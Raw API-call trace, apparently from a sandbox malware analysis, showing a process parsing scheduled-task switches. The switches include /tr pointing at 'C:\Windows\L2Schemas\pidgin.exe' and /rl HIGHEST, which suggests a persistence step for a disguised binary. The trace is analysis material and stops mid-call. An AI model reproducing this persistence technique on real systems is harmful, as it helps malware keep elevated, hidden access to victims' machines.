_Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.879] lstrlenW (lpString="|create|") returned 8 [0112.879] lstrlenW (lpString="|mo|") returned 4 [0112.879] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0112.879] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.879] lstrlenW (lpString="delete") returned 6 [0112.879] lstrlenW (lpString="delete") returned 6 [0112.879] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.879] lstrlenW (lpString="mo") returned 2 [0112.879] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.879] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.879] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.879] lstrlenW (lpString="|delete|") returned 8 [0112.879] lstrlenW (lpString="|mo|") returned 4 [0112.879] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0112.879] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.879] lstrlenW (lpString="query") returned 5 [0112.879] lstrlenW (lpString="query") returned 5 [0112.879] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.879] lstrlenW (lpString="mo") returned 2 [0112.879] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.880] lstrlenW (lpString="|query|") returned 7 [0112.880] lstrlenW (lpString="|mo|") returned 4 [0112.880] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0112.880] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.880] lstrlenW (lpString="change") returned 6 [0112.880] lstrlenW (lpString="change") returned 6 [0112.880] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.880] lstrlenW (lpString="mo") returned 2 [0112.880] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.880] lstrlenW (lpString="|change|") returned 8 [0112.880] lstrlenW (lpString="|mo|") returned 4 [0112.880] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0112.880] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.880] lstrlenW (lpString="run") returned 3 [0112.880] lstrlenW (lpString="run") returned 3 [0112.880] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.880] lstrlenW (lpString="mo") returned 2 [0112.880] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.880] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.880] lstrlenW (lpString="|run|") returned 5 [0112.880] lstrlenW (lpString="|mo|") returned 4 [0112.880] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] lstrlenW (lpString="end") returned 3 [0112.881] lstrlenW (lpString="end") returned 3 [0112.881] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.881] lstrlenW (lpString="mo") returned 2 [0112.881] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.881] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.881] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.881] lstrlenW (lpString="|end|") returned 5 [0112.881] lstrlenW (lpString="|mo|") returned 4 [0112.881] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] lstrlenW (lpString="showsid") returned 7 [0112.881] lstrlenW (lpString="showsid") returned 7 [0112.881] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.881] lstrlenW (lpString="mo") returned 2 [0112.881] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.881] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.881] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|mo|") returned 4 [0112.881] lstrlenW (lpString="|showsid|") returned 9 [0112.881] lstrlenW (lpString="|mo|") returned 4 [0112.881] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] lstrlenW (lpString="/mo") returned 3 [0112.881] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.881] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] lstrlenW (lpString="/mo") returned 3 [0112.882] GetProcessHeap () returned 0x1b748cb0000 [0112.882] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x8) returned 0x1b748cb3b50 [0112.882] GetProcessHeap () returned 0x1b748cb0000 [0112.882] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb530 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] lstrlenW (lpString="8") returned 1 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] lstrlenW (lpString="8") returned 1 [0112.882] StrChrIW (lpStart="8", wMatch=0x3a) returned 0x0 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] lstrlenW (lpString="8") returned 1 [0112.882] GetProcessHeap () returned 0x1b748cb0000 [0112.882] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x4) returned 0x1b748cb3b70 [0112.882] GetProcessHeap () returned 0x1b748cb0000 [0112.882] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb5c0 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.882] lstrlenW (lpString="/tr") returned 3 [0112.882] lstrlenW (lpString="-/") returned 2 [0112.882] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.882] lstrlenW (lpString="?") returned 1 [0112.882] lstrlenW (lpString="?") returned 1 [0112.882] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.882] lstrlenW (lpString="tr") returned 2 [0112.882] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.882] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.882] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.883] lstrlenW (lpString="|?|") returned 3 [0112.883] lstrlenW (lpString="|tr|") returned 4 [0112.883] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.883] lstrlenW (lpString="create") returned 6 [0112.883] lstrlenW (lpString="create") returned 6 [0112.883] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.883] lstrlenW (lpString="tr") returned 2 [0112.883] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.883] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.883] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.883] lstrlenW (lpString="|create|") returned 8 [0112.883] lstrlenW (lpString="|tr|") returned 4 [0112.883] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0112.883] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.883] lstrlenW (lpString="delete") returned 6 [0112.883] lstrlenW (lpString="delete") returned 6 [0112.883] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.883] lstrlenW (lpString="tr") returned 2 [0112.883] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.883] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.883] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.883] lstrlenW (lpString="|delete|") returned 8 [0112.883] lstrlenW (lpString="|tr|") returned 4 [0112.883] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0112.883] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.883] lstrlenW (lpString="query") returned 5 [0112.883] lstrlenW (lpString="query") returned 5 [0112.883] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] lstrlenW (lpString="tr") returned 2 [0112.884] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.884] lstrlenW (lpString="|query|") returned 7 [0112.884] lstrlenW (lpString="|tr|") returned 4 [0112.884] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0112.884] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.884] lstrlenW (lpString="change") returned 6 [0112.884] lstrlenW (lpString="change") returned 6 [0112.884] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] lstrlenW (lpString="tr") returned 2 [0112.884] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.884] lstrlenW (lpString="|change|") returned 8 [0112.884] lstrlenW (lpString="|tr|") returned 4 [0112.884] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0112.884] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.884] lstrlenW (lpString="run") returned 3 [0112.884] lstrlenW (lpString="run") returned 3 [0112.884] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] lstrlenW (lpString="tr") returned 2 [0112.884] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.884] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.884] lstrlenW (lpString="|run|") returned 5 [0112.885] lstrlenW (lpString="|tr|") returned 4 [0112.885] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0112.885] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.885] lstrlenW (lpString="end") returned 3 [0112.885] lstrlenW (lpString="end") returned 3 [0112.885] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.885] lstrlenW (lpString="tr") returned 2 [0112.885] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.885] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.885] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.885] lstrlenW (lpString="|end|") returned 5 [0112.885] lstrlenW (lpString="|tr|") returned 4 [0112.885] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0112.885] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.885] lstrlenW (lpString="showsid") returned 7 [0112.885] lstrlenW (lpString="showsid") returned 7 [0112.885] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.885] lstrlenW (lpString="tr") returned 2 [0112.885] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.885] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.885] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|tr|") returned 4 [0112.885] lstrlenW (lpString="|showsid|") returned 9 [0112.885] lstrlenW (lpString="|tr|") returned 4 [0112.885] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0112.885] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.885] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.885] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.885] lstrlenW (lpString="/tr") returned 3 [0112.885] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] lstrlenW (lpString="/tr") returned 3 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x8) returned 0x1b748cb3b90 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb380 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.886] lstrlenW (lpString="-/") returned 2 [0112.886] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.886] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.886] StrChrIW (lpStart="'C:\\Windows\\L2Schemas\\pidgin.exe'", wMatch=0x3a) returned=":\\Windows\\L2Schemas\\pidgin.exe'" [0112.886] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cba920 [0112.886] _memicmp (_Buf1=0x1b748cba920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0xe) returned 0x1b748cbab60 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x18) returned 0x1b748cbaa20 [0112.886] _memicmp (_Buf1=0x1b748cbaa20, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.886] GetProcessHeap () returned 0x1b748cb0000 [0112.886] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x46) returned 0x1b748cbc370 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] lstrlenW (lpString="'C") returned 2 [0112.887] lstrlenW (lpString="-/") returned 2 [0112.887] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] lstrlenW (lpString="'C:\\Windows\\L2Schemas\\pidgin.exe'") returned 33 [0112.887] GetProcessHeap () returned 0x1b748cb0000 [0112.887] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x44) returned 0x1b748cbbdd0 [0112.887] GetProcessHeap () returned 0x1b748cb0000 [0112.887] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb8f0 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.887] lstrlenW (lpString="/rl") returned 3 [0112.887] lstrlenW (lpString="-/") returned 2 [0112.887] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0112.887] lstrlenW (lpString="?") returned 1 [0112.887] lstrlenW (lpString="?") returned 1 [0112.887] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.887] lstrlenW (lpString="rl") returned 2 [0112.887] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.888] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x4, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|?|") returned 3 [0112.888] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.888] lstrlenW (lpString="|?|") returned 3 [0112.888] lstrlenW (lpString="|rl|") returned 4 [0112.888] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.888] lstrlenW (lpString="create") returned 6 [0112.888] lstrlenW (lpString="create") returned 6 [0112.888] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.888] lstrlenW (lpString="rl") returned 2 [0112.888] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.888] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|create|") returned 8 [0112.888] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.890] lstrlenW (lpString="|create|") returned 8 [0112.890] lstrlenW (lpString="|rl|") returned 4 [0112.890] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0112.890] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.890] lstrlenW (lpString="delete") returned 6 [0112.890] lstrlenW (lpString="delete") returned 6 [0112.890] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.890] lstrlenW (lpString="rl") returned 2 [0112.891] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.891] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|delete|") returned 8 [0112.891] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.891] lstrlenW (lpString="|delete|") returned 8 [0112.891] lstrlenW (lpString="|rl|") returned 4 [0112.891] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0112.891] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.891] lstrlenW (lpString="query") returned 5 [0112.891] lstrlenW (lpString="query") returned 5 [0112.891] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.891] lstrlenW (lpString="rl") returned 2 [0112.891] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.891] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x8, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|query|") returned 7 [0112.891] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.891] lstrlenW (lpString="|query|") returned 7 [0112.891] lstrlenW (lpString="|rl|") returned 4 [0112.891] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0112.891] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.891] lstrlenW (lpString="change") returned 6 [0112.891] lstrlenW (lpString="change") returned 6 [0112.891] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.892] lstrlenW (lpString="rl") returned 2 [0112.892] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.892] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x9, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|change|") returned 8 [0112.892] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.892] lstrlenW (lpString="|change|") returned 8 [0112.892] lstrlenW (lpString="|rl|") returned 4 [0112.892] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0112.892] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.892] lstrlenW (lpString="run") returned 3 [0112.892] lstrlenW (lpString="run") returned 3 [0112.892] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.892] lstrlenW (lpString="rl") returned 2 [0112.892] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.892] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|run|") returned 5 [0112.892] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.892] lstrlenW (lpString="|run|") returned 5 [0112.892] lstrlenW (lpString="|rl|") returned 4 [0112.892] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0112.892] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.892] lstrlenW (lpString="end") returned 3 [0112.892] lstrlenW (lpString="end") returned 3 [0112.892] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.893] lstrlenW (lpString="rl") returned 2 [0112.893] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.893] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0x6, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|end|") returned 5 [0112.893] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.893] lstrlenW (lpString="|end|") returned 5 [0112.893] lstrlenW (lpString="|rl|") returned 4 [0112.893] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0112.893] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.893] lstrlenW (lpString="showsid") returned 7 [0112.893] lstrlenW (lpString="showsid") returned 7 [0112.893] _memicmp (_Buf1=0x1b748cb4350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.893] lstrlenW (lpString="rl") returned 2 [0112.893] _memicmp (_Buf1=0x1b748cb38f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0112.893] _vsnwprintf (in: _Buffer=0x1b748cb3930, _BufferCount=0xa, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|showsid|") returned 9 [0112.893] _vsnwprintf (in: _Buffer=0x1b748cb3910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x119ed7f6b8 | out: _Buffer="|rl|") returned 4 [0112.893] lstrlenW (lpString="|showsid|") returned 9 [0112.893] lstrlenW (lpString="|rl|") returned 4 [0112.893] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0112.893] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.893] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.893] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.893] lstrlenW (lpString="/rl") returned 3 [0112.893] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0112.893] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] lstrlenW (lpString="/rl") returned 3 [0112.894] GetProcessHeap () returned 0x1b748cb0000 [0112.894] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x8) returned 0x1b748cb3bb0 [0112.894] GetProcessHeap () returned 0x1b748cb0000 [0112.894] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x20) returned 0x1b748cbb590 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] lstrlenW (lpString="HIGHEST") returned 7 [0112.894] lstrlenW (lpString="-/") returned 2 [0112.894] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] lstrlenW (lpString="HIGHEST") returned 7 [0112.894] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] RtlRestoreLastWin32Error () returned 0x119efbf000 [0112.894] lstrlenW (lpString="HIGHEST") returned 7 [0112.894] GetProcessHeap () returned 0x1b748cb0000 [0112.894] RtlAllocateHeap (HeapHandle=0x1b748cb0000, Flags=0xc, Size=0x10) returned 0x1b748cbaae0 [0112.894] GetProcessHeap () returned 0x1b748cb0000 [0112.894] RtlAllocateHeap 